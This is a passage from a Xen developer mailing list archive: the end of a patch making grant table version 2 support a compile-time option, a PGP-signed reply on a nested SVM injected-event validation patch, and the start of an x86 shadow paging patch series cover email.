         buf->have_grant = 1;
+#if GNTTAB_MAX_VERSION < 2
+        buf->ptr.offset = 0;
+        buf->len = PAGE_SIZE;
+#endif
     }
     else
     {
@@ -3241,6 +3299,12 @@ gnttab_set_version(XEN_GUEST_HANDLE_PARA
     if ( gt->gt_version == op.version )
         goto out_unlock;
 
+    if ( GNTTAB_MAX_VERSION < 2 )
+    {
+        res = -EOPNOTSUPP;
+        goto out_unlock;
+    }
+
     /*
      * Make sure that the grant table isn't currently in use when we
      * change the version number, except for the first 8 entries which
@@ -3270,6 +3334,7 @@ gnttab_set_version(XEN_GUEST_HANDLE_PARA
         break;
 
     case 2:
+#if GNTTAB_MAX_VERSION >= 2
         if ( atomic_read(&gt->nr_v2_ops) )
         {
             gdprintk(XENLOG_WARNING,
@@ -3278,6 +3343,7 @@ gnttab_set_version(XEN_GUEST_HANDLE_PARA
             res = -EAGAIN;
             goto out_unlock;
         }
+#endif /* GNTTAB_MAX_VERSION >= 2 */
 
         for ( i = 0; i < GNTTAB_NR_RESERVED_ENTRIES; i++ )
         {
@@ -3527,7 +3593,7 @@ swap_grant_ref(grant_ref_t ref_a, grant_
         goto out;
     }
 
-    if ( evaluate_nospec(gt->gt_version == 1) )
+    if ( GNTTAB_MAX_VERSION < 2 || evaluate_nospec(gt->gt_version == 1) )
     {
         grant_entry_v1_t shared;
 
@@ -3945,7 +4011,7 @@ int gnttab_release_mappings(struct domai
 
         act = active_entry_acquire(rgt, ref);
         sha = shared_entry_header(rgt, ref);
-        if ( rgt->gt_version == 1 )
+        if ( GNTTAB_MAX_VERSION < 2 || rgt->gt_version == 1 )
             status = &sha->flags;
         else
             status = &status_entry(rgt, ref);
@@ -4120,7 +4186,7 @@ int mem_sharing_gref_to_gfn(struct grant
         rc = -EINVAL;
     else if ( ref >= nr_grant_entries(gt) )
         rc = -ENOENT;
-    else if ( evaluate_nospec(gt->gt_version == 1) )
+    else if ( GNTTAB_MAX_VERSION < 2 || evaluate_nospec(gt->gt_version == 1) )
     {
         const grant_entry_v1_t *sha1 = &shared_entry_v1(gt, ref);
 
@@ -4144,7 +4210,7 @@ int mem_sharing_gref_to_gfn(struct grant
         rc = -ENXIO;
     else if ( !rc && status )
     {
-        if ( evaluate_nospec(gt->gt_version == 1) )
+        if ( GNTTAB_MAX_VERSION < 2 || evaluate_nospec(gt->gt_version == 1) )
             *status = flags;
         else
             *status = status_entry(gt, ref);
@@ -4275,7 +4341,7 @@ int gnttab_acquire_resource(
         break;
 
     case XENMEM_resource_grant_table_id_status:
-        if ( gt->gt_version != 2 )
+        if ( GNTTAB_MAX_VERSION < 2 || gt->gt_version != 2 )
             break;
 
         /* Check that void ** is a suitable representation for gt->status. */
@@ -4327,7 +4393,8 @@ int gnttab_map_frame_begin(
 
     grant_write_lock(gt);
 
-    if ( evaluate_nospec(gt->gt_version == 2) && (idx & XENMAPIDX_grant_table_status) )
+    if ( GNTTAB_MAX_VERSION >= 2 && evaluate_nospec(gt->gt_version == 2) &&
+         (idx & XENMAPIDX_grant_table_status) )
     {
         idx &= ~XENMAPIDX_grant_table_status;
         rc = gnttab_get_status_frame_mfn(d, idx, mfn);
@@ -4395,7 +4462,7 @@ static void gnttab_usage_print(struct do
 
         sha = shared_entry_header(gt, ref);
 
-        if ( gt->gt_version == 1 )
+        if ( GNTTAB_MAX_VERSION < 2 || gt->gt_version == 1 )
         {
             status = sha->flags;
             frame = shared_entry_v1(gt, ref).frame;
--- a/xen/include/xen/grant_table.h
+++ b/xen/include/xen/grant_table.h
@@ -39,7 +39,16 @@ void gnttab_seed_entry(const struct doma
 
 #ifdef CONFIG_GRANT_TABLE
 
+#ifndef GNTTAB_MAX_VERSION
+#define GNTTAB_MAX_VERSION 2
+#endif
+
+#if GNTTAB_MAX_VERSION >= 2
 extern unsigned int opt_gnttab_max_version;
+#else
+# define opt_gnttab_max_version GNTTAB_MAX_VERSION
+#endif
+
 extern unsigned int opt_max_grant_frames;
 
 /* Create/destroy per-domain grant table context. */



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:04:41 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:04:41 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374317.1621409 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woiQ7-0004OH-2W; Tue, 28 Jul 2026 14:04:35 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374317.1621409; Tue, 28 Jul 2026 14:04:35 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woiQ6-0004OA-Vd; Tue, 28 Jul 2026 14:04:34 +0000
Received: by outflank-mailman (input) for mailman id 1374317;
 Tue, 28 Jul 2026 14:04:33 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fa90a823a000e099@swg.vates.tech>)
 id 1woiQ5-0004O2-AL
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:04:33 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woiQ4-00Ean0-9b
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 16:04:32 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fa90a823a000e099@swg.vates.tech>)
 id 6a68b6ee-bab6-0a2a0a5309dd-0a2a4509d4d8-2
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 16:04:31 +0200
Received: from [185.255.28.35] (helo=prod-mta-13-02.swg-srv.net)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fa90a823a000e099@swg.vates.tech>)
 id 6a68b6ee-be1a-0a2a45090019-b9ff1c23868b-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 16:04:31 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-02.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19fa90a823a000e099.005 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Tue, 28 Jul 2026 14:04:26 +0000
Received: from [192.168.1.18] (88-188-240-210.subs.proxad.net [88.188.240.210])
 (Authenticated sender: teddy.astie)
 by mail2.vates.fr (Postfix) with ESMTPSA id 46A8C83200;
 Tue, 28 Jul 2026 16:04:21 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=UCryxldN/8OGrUjHc3fGPDwr+EuJsMLEjrQ6d9K67OY=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=ZBUXoyORXJ4WqTu16wN7ib8CdOucXvbyxOAETvdVlf6qVJX36+FxjBAnlfwTw2M8CO34y1RdW
 0Cy9XxHmHMNCCdMA84F+LAnxV3zV6AgzXmtfemD968ghSwkdkxDauvVkHe9z50yWYb2NK8uj326
 jZxBvXVlRWEx6r5M5WL2Rx4xWeeXS1qcC4kZIfzg7LuSZTGXYhlNnZnjL/UCAuxCkiH95H9x+Bn
 N7zzcfukK+9Zq0Z63xhdcD1p7QB+j2jjBPVwCwmAoRZvs+4v2Jq/UfNUH6wT6xYtail5e6j0t3F
 sxKcST8dWEq1wBeKx7Gw/49MoNHMuasZGZMNVzRNi7Cw==
X-Zone-Loop: c1723d8b4c8f095b8e153d80795d25876ebb47b10ff3
x-campaign-type: default
x-transaction-id: 372c7797-ae5c-42be-a6a9-660b5f84464c
x-swg-uid: 01-ff4a50d1-facf-434b-9e92-3092a2b1c2ca
X-Mailer: Sweego
Message-ID:
 <1785247466.8631fc262581453bbf619ec5b2062170.19fa90a823a000e099@vates.tech>
x-swg-bid: 1785247466.8631fc262581453bbf619ec5b2062170.19fa90a823a000e099
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Tue, 28 Jul 2026 16:04:20 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v2] nSVM: Check injected event consistency
To: Abdelkareem Abdelsaamad <abdelkareem.abdelsaamad@citrix.com>,
 xen-devel@lists.xenproject.org
Cc: jbeulich@suse.com, andrew.cooper3@citrix.com, roger.pau@citrix.com,
 jason.andryuk@amd.com
References: <d7f21b51072743e5fb8743db53148231fef6fbb7.1784190077.git.abdelkareem.abdelsaamad@citrix.com>
Content-Language: en-US
From: Teddy Astie <teddy.astie@vates.tech>
Autocrypt: addr=teddy.astie@vates.tech; keydata=
 xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7LTBVHV/XO
 Zw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJT4ny+OGntnJntUoR
 KRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJAWicutjkkUgd28Bh6HV9EIumH
 tCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaT
 VqMdqul07o72m3eA2mf+LMu9a04FX/d4wbxBLtELm+1jIrbtyaFZEMOLv/haSiS/Lj3btJH/
 EoucejoZ5SH49ksmVAmKOLktOaTQ8b2gEvP7iaKiIiszCCtOSRohr+2GvDsDeLvVZnlR3I+S
 PhHar7TPKjFz0G3DPNolyjXywNqOAMpomSPi8lSwjAFsxOtQbcck/qRGRSNk4DAmH70pA+89
 MXfQXZ3qt1Q01B1+sU0I8xsAEQEAAc0kVGVkZHkgQXN0aWUgPHRlZGR5LmFzdGllQHZhdGVz
 LnRlY2g+wsENBBMBCAA3FiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sK8FCQWjmoACGwME
 CwkIBwUVCAkKCwUWAgMBAAAKCRBmD6nRAsvP0ID6DACGOktArFbLKHNzuyOVCskwfUZPla6Z
 pd3GZ8r61SrAKePIr2BnpgPkd0hV3bSRkRLIrgjzR2NRCzfp0x0HfuhcYfAYPR46XHTvjaJE
 v99sT/vGUG1BZguYDOScSEpgSNaNlYum3RKZbMuROxdK8G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2bCSzvW5xXYPgyjcuOPwgQo1Qp764QxyX6rld2f2RcWkDuBHun55ZWXj
 by8o21ginPRwruBVYY5rVf3DV1iBu4NurUeHtyFk/dS0XTOQi2wVUb17sW/+ybCEokdVacZG
 zOqP/OmwHrF8ylXlXnhQq6e3r+J+T8fuoGJelm/CJiMwyP6cEWE8sxVqX/iqwjwUYkuOCpE+
 lOWSvdNHgoEkWR0RXBPQjnGmLKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/Off
 O485NOTKwGOxyWb006cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR
 8ULR9nX0LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
 x9fhaZEsniw8/bYgC3igkk5YJiOa
In-Reply-To: <d7f21b51072743e5fb8743db53148231fef6fbb7.1784190077.git.abdelkareem.abdelsaamad@citrix.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------hmBzRfUBObl6UKi0T6ADKVEr"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1785247461447
X-purgate-ID: tlsNG-bad1c0/1785247471-3BAD0034-89935075/0/0
X-purgate-type: clean
X-purgate-size: 13841

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------hmBzRfUBObl6UKi0T6ADKVEr
Content-Type: multipart/mixed; boundary="------------HaiBGNnuTuNZpIGSLYoxRA0u";
 protected-headers="v1"
From: Teddy Astie <teddy.astie@vates.tech>
To: Abdelkareem Abdelsaamad <abdelkareem.abdelsaamad@citrix.com>,
 xen-devel@lists.xenproject.org
Cc: jbeulich@suse.com, andrew.cooper3@citrix.com, roger.pau@citrix.com,
 jason.andryuk@amd.com
Message-ID: <9095d0cb-f511-42de-bfcb-9cc850908dd0@vates.tech>
Subject: Re: [PATCH v2] nSVM: Check injected event consistency
References: <d7f21b51072743e5fb8743db53148231fef6fbb7.1784190077.git.abdelkareem.abdelsaamad@citrix.com>
In-Reply-To: <d7f21b51072743e5fb8743db53148231fef6fbb7.1784190077.git.abdelkareem.abdelsaamad@citrix.com>

--------------HaiBGNnuTuNZpIGSLYoxRA0u
Content-Type: multipart/mixed; boundary="------------dfEVvkexUlCAuwJr8649DAjz"

--------------dfEVvkexUlCAuwJr8649DAjz
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

TGUgMTYvMDcvMjAyNiDDoCAxNzo0MSwgQWJkZWxrYXJlZW0gQWJkZWxzYWFtYWQgYSDDqWNy
aXTCoDoNCj4gT24gdGhlIEFNRCBwbGF0Zm9ybXMsIGFsbG93aW5nIGEgVk1SVU4gaW5zdHJ1
Y3Rpb24gd2l0aCBhIG1hbGZvcm1lZCBWTUNCIGhhcw0KPiBkZWJ1Z2dpbmcgY29tcGxpY2F0
aW9ucywgc2VjdXJpdHkgYW5kIHBlcmZvcm1hbmNlIGltcGxpY2F0aW9ucy4gVGhlIEFQTSB2
b2x1bWUNCj4gMiAxNS4yMCBbMV0gc3RhdGVzIHR3byBwb3NzaWJpbGl0aWVzIHRoYXQgcmVz
dWx0IGluIGEgVk1SVU4gZXhpdCB3aXRoDQo+IFZNRVhJVF9JTlZBTElEIGR1ZSB0byBpbmpl
Y3RlZCBldmVudHMuIFRoZXNlIGFyZSBlaXRoZXINCj4g4oCiIFJlc2VydmVkIHZhbHVlcyBv
ZiBUWVBFIGhhdmUgYmVlbiBzcGVjaWZpZWQuDQo+IOKAoiBUWVBFID0gMyAoZXhjZXB0aW9u
KSBoYXMgYmVlbiBzcGVjaWZpZWQgd2l0aCBhIHZlY3RvciB0aGF0IGRvZXMgbm90DQo+ICAg
IGNvcnJlc3BvbmQgdG8gYW4gZXhjZXB0aW9uICh0aGlzIGluY2x1ZGVzIHZlY3RvciAyLCB3
aGljaCBpcyBhbiBOTUksIG5vdA0KPiAgICBhbiBleGN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IGlmICggKHZtY2JfaW5qZWN0ZWRf
dHlwZSA9PSBYODZfRVRfSFdfRVhDKSAmJg0KPiArICAgICAgICAgIWlzX3ZhbGlkX3N2bV92
bWNiX2luamVjdGVkX2V4Y2VwdGlvbl92ZWN0b3Iodm1jYiwgdm1jYl9pbmplY3RlZF92ZWN0
b3IpICkNCj4gKyAgICAgICAgUFJJTlRGKCJldmVudGluajogSW52YWxpZCBJbmplY3RlZCBF
dmVudC4gRXhjZXB0aW9uIHR5cGU6ICglIyJQUkl4OCIpLCINCj4gKyAgICAgICAgICAgICAg
ICIgd2l0aCBhIHZlY3RvcjogKCUjIlBSSXg4IikgZG9lcyBub3QgYmVsb25nIHRvIGFuIGV4
Y2VwdGlvblxuIiwNCj4gKyAgICAgICAgICAgICAgIHZtY2JfaW5qZWN0ZWRfdHlwZSwgdm1j
Yl9pbmplY3RlZF92ZWN0b3IpOw0KPiAgICN1bmRlZiBQUklOVEYNCj4gICAgICAgcmV0dXJu
IHJldDsNCj4gICB9DQoNClRlZGR5DQo=
--------------dfEVvkexUlCAuwJr8649DAjz
Content-Type: application/pgp-keys; name="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Disposition: attachment; filename="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7L
TBVHV/XOZw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJ
T4ny+OGntnJntUoRKRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJA
WicutjkkUgd28Bh6HV9EIumHtCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO
8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaTVqMdqul07o72m3eA2mf+LMu9a04FX/d4
wbxBLtELm+1jIrbty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0
s3109sJeXT5ImVdphFs9cvyZyBT9t1PbRowv58EgV0zE4hbAeVkULAbxFV5b/ExT
jjGVHoX7CVhWxvCiTqCUoXZRkUE9C3FnkzEFRkKbYu6NCfiHfEyB3Xyg9hfdrRgj
MRq907zCof+nDtWxGz1MSEuvTj1g9GZ049Bennqzjc/Q+0ovXoK4jm+Py0FiUGUa
A6yhexficjH+kCR/xDbVnWrMhSLB4AuTBT9HjfZI6gk3uYLhoT8Pig4/eVtR2Q1w
ZIJsFToR6ofGuyECwFcs+PUXN7fmGRSiPXgjAr/zIUBdW0VWCE3OGPNqtRk2E5s6
IQARAQABwsD8BBgBCAAmFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sLAFCQWj
moACGwwACgkQZg+p0QLLz9DncQwAg76IehTemLIfrB8T9WIBZrI4kUV7G7a4rjiV
oUiHYN5QwhnbZnsaJDlt+Ezoqy/510eo2bCSzvW5xXYPgyjcuOPwgQo1Qp764Qxy
X6rld2f2RcWkDuBHun55ZWXjby8o21ginPRwruBVYY5rVf3DV1iBu4NurUeHtyFk
/dS0XTOQi2wVUb17sW/+ybCEokdVacZGzOqP/OmwHrF8ylXlXnhQq6e3r+J+T8fu
oGJelm/CJiMwyP6cEWE8sxVqX/iqwjwUYkuOCpE+lOWSvdNHgoEkWR0RXBPQjnGm
LKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/OffO485NOTKwGOxyWb0
06cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR8ULR9nX0
LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
x9fhaZEsniw8/bYgC3igkk5YJiOa
=3DlUIA
-----END PGP PUBLIC KEY BLOCK-----

--------------dfEVvkexUlCAuwJr8649DAjz--

--------------HaiBGNnuTuNZpIGSLYoxRA0u--

--------------hmBzRfUBObl6UKi0T6ADKVEr
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsD5BAABCAAjFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmpotuQFAwAAAAAACgkQZg+p0QLLz9AC
KQv9FJ2Q7sxUL7m4nQYo7tErfaVWpbjIJTTA7IWbdbAoyHLeQxvVI3v/Rt1GMRzfrXW8FJRMkcQ0
CoCQB+J4JCO443hgPMcJW7clP7Kh9AU8zCIgtXtkn+n0+Swd+4mfnNcRWTbhjXbH5vHbzUjk2Xll
9Iao9zHc9j3ZSoFhYDhNvSQlLeTMgXmTKKr8eJa8EcVaO41X2sdiZriIc0tQuFwa6SBrAGzQ1eNx
JDfIkFn9nZ8Ra/hwiF+K9AYvTXEg4Bu8l1TfZi7HWjIGpK7NYwkHyKdBXb2MO0Llrhnnhn/+NVjA
WPvjSO9A1Wc2awNbrhEoXzAPVU7x9lnPnyb/MjqXuJsCk/n37QbuM9BrOfO+tA8RwjAa0/YwB3PK
esTXvXBc1D+8YvpeYYq78URznrwIfst2JGHvVGSODmfEgEvVLsP3tVdiNcOomK6Bvp/ImH1pz+I1
dpCd1976vs+5QQA6TZutMQI2YvSYwGmh2famAbnL3TcapgBhLNwad9HlSH/+
=wUoG
-----END PGP SIGNATURE-----

--------------hmBzRfUBObl6UKi0T6ADKVEr--


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:19:40 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:19:40 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374346.1621494 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woieW-0007Pb-1f; Tue, 28 Jul 2026 14:19:28 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374346.1621494; Tue, 28 Jul 2026 14:19:28 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woieV-0007PU-VC; Tue, 28 Jul 2026 14:19:27 +0000
Received: by outflank-mailman (input) for mailman id 1374346;
 Tue, 28 Jul 2026 14:19:27 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1woieU-0007PO-Vp
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:19:26 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woieT-00Bd1g-Tr
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 16:19:25 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68ba67-2eae-0a2a0a5409dd-0a2a450ae1d0-10
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 16:19:25 +0200
Received: from [209.85.128.45] (helo=mail-wm1-f45.google.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68ba6d-f2d2-0a2a450a0019-d155802dccc2-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 16:19:25 +0200
Received: by mail-wm1-f45.google.com with SMTP id
 5b1f17b1804b1-4955aa106b1so37480485e9.0
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 07:19:25 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4957b842691sm315529465e9.1.2026.07.28.07.19.23
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 07:19:24 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:Autocrypt:Subject:From:Cc:To:Content-Language:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785248365; x=1785853165; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:autocrypt:subject:from:cc:to
         :content-language:user-agent:mime-version:date:message-id:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=Fha2EpEI7oaqSPAAqQzfTEeY8QllM999aorM3rzoaPQ=;
        b=LKi0/35ShXu3eN69wsfdod3YkMe/OswZzUDvRmjSluNxQjBOLEPdQNmjeHCRRiaSWl
         ootkunanLrJz0E7ZTueYkn+igDxiBIlxtC0lO5T7v/ICol0zcEC3ChpyOQXQgFLdHyNW
         TNUXDGEKaj2iw85eyuJNqTd3EGTwDwydVmcy5ZTKH/wmNeOlE0xdratchss9mVTKBW9Z
         mVGs73ZdWxwKMaKCzoTa32jp9ZMNvqXkbiQX0xgeLn+u6XPLCKmZsHs3IBgRgdf7qYsy
         GQnSxNrH+DA6PEk6y8wOoy89WZfGY4tDhYGXAcLPOz7LEgpFQn+zNR3oyVoLCt2MaSQJ
         U9Kg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785248365; x=1785853165;
        h=content-transfer-encoding:content-type:autocrypt:subject:from:cc:to
         :content-language:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=Fha2EpEI7oaqSPAAqQzfTEeY8QllM999aorM3rzoaPQ=;
        b=i57QHfsYeLNsZY4xF5MX0MGSaJ9pyMKYSbIpeTVsY0wXXI4sluR8igRyzGxnvAcScU
         SsrTM+NROVkYca0jyUI1RgUFs+OiZJyIrkzJngtDAjG44MOlbXXL5sg/p5xdnms3drRW
         Q6KejMpW32bEfLty6/otf5+yLdbFVH3oK6ERRasrRQvKFU+M2ev+GM+qq3xoLLg66peV
         KG52pJ1DThz3wB2C7xSRIcVShdNgVDWXvmktP1sUvGdB4AxANObXh0AXKM7g8O5YtctU
         49BegTllk9avfW9zIMC9Acw2T0quFPoe7RcgCkIIJHLFCOFsXKWysl5//ESgjRf4G+IJ
         dN6Q==
X-Gm-Message-State: AOJu0Yx7PrZzZq8QicrpzfyWJQ6i+VijEBQKS3aduUVyNPPSCMUuuHn3
	ayqJ3KjJjHRHLpyGkxAwG+2oM4Gq7tWqxdW+KkazJkFchyg7cSMqAhpJKVCjo+SQKgTZUodfra8
	QXn2KeA==
X-Gm-Gg: AR+sD137xvAl7PWgBihK+QdO5Cosl7YBqFI9VYxPzqYPM8RmGMErBqxEI/vzx9J1A3j
	HkVWgyRLHsZZmABSQIPTnd3G83hRmEDe9n5O7B/0LZTgoRQQTXfcy9dUd3IvwBgcythOp8dO4LZ
	WJI+ePrqfyTXZxqzB2NlzNlKUMtBq6qdtfU8Fb+urJV2tCBolshBvQQqXqD09Yul03u03UX/BSE
	E4gsoos3TZYCmbRVfG+B5jrWljlzi05xJLJ9xKCU639ThhWSWTTBrhACClDQyXNZ5C6t3qGKNdp
	M3Ef9OOT37YpGqNB2qKjgRkkLGnPvYGr6FjFGFB+71tyKm3D+B1HccoLAomygpPMLYl170u3yjs
	fLdtEb4810AfiayqQ5wkyBF21uT4jxbLtQ7hV4Cw8DMX6BpsoxCZY81CZchCWfbQpuE1y8UEKrN
	Uy+jc+Ds4razT0YZrMtF1PPVNKRGuyKyeqc5AsaMx7Sh6BFEO6Ywg6KbVIp3P0w1AMuw==
X-Received: by 2002:a05:600c:524e:b0:495:63f5:7a4f with SMTP id 5b1f17b1804b1-496c6591b63mr27223185e9.33.1785248364940;
        Tue, 28 Jul 2026 07:19:24 -0700 (PDT)
Message-ID: <68c16600-a4bf-4060-a1fc-56c4ae655b03@suse.com>
Date: Tue, 28 Jul 2026 16:19:22 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Content-Language: en-US
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>, Tim Deegan <tim@xen.org>
From: Jan Beulich <jbeulich@suse.com>
Subject: [PATCH v15 00/10] x86/shadow: original work for what became XSA-495
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
